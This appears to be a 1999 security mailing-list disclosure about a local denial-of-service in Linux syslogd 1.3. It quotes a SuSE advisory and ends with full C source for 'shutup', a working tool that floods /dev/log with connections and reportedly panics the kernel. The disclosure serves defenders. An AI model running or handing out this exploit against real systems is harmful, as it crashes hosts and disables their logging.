The impact of the syslogd Denial Of Service vulnerability seems to be bigger than expected. I found that syslog could not be stopped from responding by one or a few connections, since it uses select() calls to synchronously manage the connections to /dev/log. I made an attempt with the attached test code, which makes about 2000 connects to syslog, using multiple processes, and my system instantly died with the message: 'Kernel panic: can't push onto full stack' I've been able to reproduce this as non-root user, although it had to be done two times to overcome the stronger user resource limits, but it worked. This has been tested with linux 2.0.38+syslog1.3 (redhat 5.2). As a temporary fix, I'd strongly advise everyone who hasn't to set proper user resource limits, but that is only a very temporary fix. Taking a guess, I would say that the panic is caused by instability of the linux select() implementation, and could therefore be abused in other programs that manage an unlimited amount of connections using the select syscall. Mixter ________________________ [EMAIL PROTECTED] members.tripod.com/mixtersecurity On Thu, 18 Nov 1999, Thomas Biege wrote: > _____________________________________________________________________________ > > SuSE Security Announcement - syslogd (a1) > > Package: syslogd-1.3.33 (a1) > Date: Thu Nov 18 14:00:29 CET 1999 > > Affected SuSE versions: 6.2 and 6.3 > Vulnerability Type: local denial-of-service attack > SuSE default package: yes > Other affected systems: all Linux systems using the syslog daemon > ______________________________________________________________________________ > > A security hole was discovered in the package mentioned above. > Please update as soon as possible or disable the service if you are using > this software on your SuSE Linux installation(s). > > Other Linux distributions or operating systems might be affected as > well, please contact your vendor for information about this issue. > > Please note, that that we provide this information on an "as-is" basis only. > There is no warranty whatsoever and no liability for any direct, indirect or > incidental damage arising from this information or the installation of > the update package. > _____________________________________________________________________________ > > 1. Problem Description > > The syslogd server uses a Unix Domain stream socket (/dev/log) for receiving > local log messages via syslog(3). > Unix Domain stream sockets are non connection-less, that means, that > one process is needed to serve one client. > > 2. Impact > > By opening alot of local syslog connections a user could stop the > system from responding. > > 3. Solution > > Updated the package from our FTP server. > ______________________________________________________________________________ > > Please verify these md5 checksums of the updates before installing: > > c9a9e0f8fc4e29daf30f8a735ae333ab syslogd-1.3.33-9.alpha.rpm (AXP, 6.1) > 3104e26a8b474e215ed703b7c4d48888 syslogd-1.3.33-9.i386.rpm (x86, 5.3) > a13be12a75232f2f62f51fb1cae26fc0 syslogd-1.3.33-9.i386.rpm (x86, 6.1) > fc29df9455288f40eb1e8dbd0f47d5b3 syslogd-1.3.33-9.i386.rpm (x86, 6.2) > 869b7fedd5b52807f12b7f66e282002c syslogd-1.3.33-9.i386.rpm (x86, 6.3) > ______________________________________________________________________________ > > You can find updates on our ftp-Server: > > ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm > ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm > ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm > ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm > ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm > > or try the following web pages for a list of mirrors: > http://www.suse.de/de/support/download/ftp/inland.html > http://www.suse.de/de/support/download/ftp/ausland.html > > Our webpage for patches: > http://www.suse.de/de/support/download/updates/index.html > > Our webpage for security announcements: > http://www.suse.de/de/support/security/index.html > > If you want to report vulnerabilities, please contact > [EMAIL PROTECTED] > ______________________________________________________________________________ > > SuSE has got two free security mailing list services to which any > interested party may subscribe: > > [EMAIL PROTECTED] - moderated and for general/linux/SuSE > security discussions. All SuSE security > announcements are send to this list. > > [EMAIL PROTECTED] - SuSE's announce-only mailing list. > Only SuSE's security annoucements are sent > to this list. > > To subscribe to the list, send a message to: > <[EMAIL PROTECTED]> > > To remove your address from the list, send a message to: > <[EMAIL PROTECTED]> > > Send mail to the following for info and FAQ for this list: > <[EMAIL PROTECTED]> > <[EMAIL PROTECTED]> > > _____________________________________________________________________________ > > This information is provided freely to everyone interested and may > be redistributed provided that it is not altered in any way. > > Type Bits/KeyID Date User ID > pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <[EMAIL PROTECTED]> > > ------BEGIN PGP PUBLIC KEY BLOCK----- > Version: 2.6.3i > > mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA > BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz > JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh > 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U > P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ > cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg > VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b > yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 > tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ > xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 > Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo > choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI > BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u > v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ > x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 > Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq > MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 > saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o > L0oixF12Cg== > =pIeS > ------END PGP PUBLIC KEY BLOCK----- > Signature by unknown keyid: 0x3D25D3D9 >
/* * * shutup - syslogd 1.3 denial of service * by Mixter <[EMAIL PROTECTED]> * * This opens up to 2000 unix domain socket connections * to /dev/log, attempting to stop syslog from responding. * WARNING: This apparently causes the kernel to panic! * You might have to run this 2 times to reproduce it as non-root. * This code is for educational purposes only, do not abuse. * */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #define PATH "/dev/log" #define SHUTUPS 200 #define PROCS 10 int main (void) { int s, i; struct sockaddr_un sun; char host[128]; sun.sun_family = AF_UNIX; strncpy (sun.sun_path, PATH, 100); gethostname (host, 128); printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n"); printf ("syslog on %s is now being overloaded...\n", host); if (fork ()) exit (0); for (i = 0; i < PROCS; i++) if (fork () == 0) break; for (i = 0; i < SHUTUPS; i++) { if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0) { perror ("socket"); while (1); } if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0) { perror ("connect"); close (s); i--; } } while (1); }